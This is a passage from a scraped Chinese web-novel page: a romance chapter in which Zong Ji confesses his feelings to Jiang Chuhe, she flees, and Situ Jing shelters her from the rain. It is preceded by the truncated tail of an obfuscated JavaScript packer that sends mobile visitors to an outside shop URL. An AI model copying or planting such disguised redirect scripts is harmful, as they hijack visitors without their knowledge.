d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036677|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时向下沉去。 “这便是默认了?” “你少管!” “若我偏要管呢?”宗稷低喝一声,眼中渐渐泛起血红。 “你有病吧!”江楚禾觉得他简直不可理喻,“你又不是我亲兄长,这事儿和你有什么关系?” 她不懂,她竟然还是不懂。 “正因为我不是你的亲兄长,所以……才和我有关。” 宗稷的嘴角噙着一抹苦笑,眼底所流露出的,却是从未有过的温柔。 江楚禾突然有种五雷轰顶的感觉。 “你……该不会……”她说着,又向后靠了靠,虽然早就是紧贴门板,无路可退。 宗稷将她此时的窘迫看在眼里,却并没有要放她一马的意思。 “若我说……正是如此呢?” “你……你忘了?你可是少庄主……你不能……” 按青囊山庄的门规,为免庄主生出私心,凡被选为继承人者,皆不可成亲生子,而是要在继承庄主之位后,自族内挑选天赋过人的幼童,择最优者收为养子,替他延续香火,而这位养子即少庄主,便是未来的继承者,同样需要断情绝爱,终身不得娶妻。 但很显然,宗稷并不认同这个规矩。 他轻蔑一笑,道:“那又如何?情爱一事,本就当凭心而动!” 好一个凭心而动。 江楚禾觉得自己多半是疯了,竟认为此言不错,以至于全无一丝想要驳斥他的念头。 可宗稷凭心如此,那她又心向何人? 江楚禾的脑海中立即浮现出一双似笑非笑的桃花眸,可不过瞬间工夫,又被记忆里冰冷的宫殿之中,隐藏于珠箔后的那个模糊身影迅速覆盖。 不!不行! 她虽然胆大妄为到逃了婚,却不能忘记当年是何人做媒,将她许给何人做妻。 决不能害己误人! 江楚禾稍一歪头,躲过正朝自己伸过来的那双手,朝宗稷低吼道:“师兄莫要忘了,我可是有夫君的人!” 说罢,她使出全身力气狠狠向前推去。 宗稷全无准备,踉跄着后退几步,而江楚禾则趁机拉开门闩,头也不回地离开屋子。 晚风裹挟着湿气扑面而来,院中雨幕如织。 司徒靖撑着一把素色的油纸伞,静静伫立在那片混沌的黑暗里,雨点砸在伞面,溅起细碎的水雾,在他周身形成一层朦胧的光晕,远远看去,就像一尊紫玉雕成的神像。 他是几时回来的?站在这里多久?都听到了什么? 问题一个接一个地从脑中冒出来,江楚禾下意识顿住脚步,但不知为何,泪水却在此刻夺眶而出,她仰起头想要将它们逼退,可越是努力,视线就越是模糊。 她垂眸拭泪,再抬眼时,却径直撞上他的目光。 那双眼中没有惊讶之情,也没有探究之意,只有深潭一般的沉静,好像无论往里投入什么,都激不起任何波澜。 他只会,无声地接纳一切。 江楚禾想也不想,抬腿就往雨中走去。 雨水刚一落在脚背,她的眼前骤然一暗,一把油纸伞稳稳地笼罩在头顶,而他的后背则在倾盆大雨中被瞬间淋湿。 熟悉的清冽气息扑面而来,但在那冷意之下,还有一股不容忽视的温热自他的胸膛散发出来。 是他的体温。 熨帖而又令人心安,隔开凉风夜雨,静静包裹着她的世界。 江楚禾不假思索地伸出手,攥着他的袖口,朝自己的方向拽了拽。 这时,她才发现,他的手上提着一个食盒。 “走。” 司徒靖平静地开口,没有一句赘言。 “送你回去。”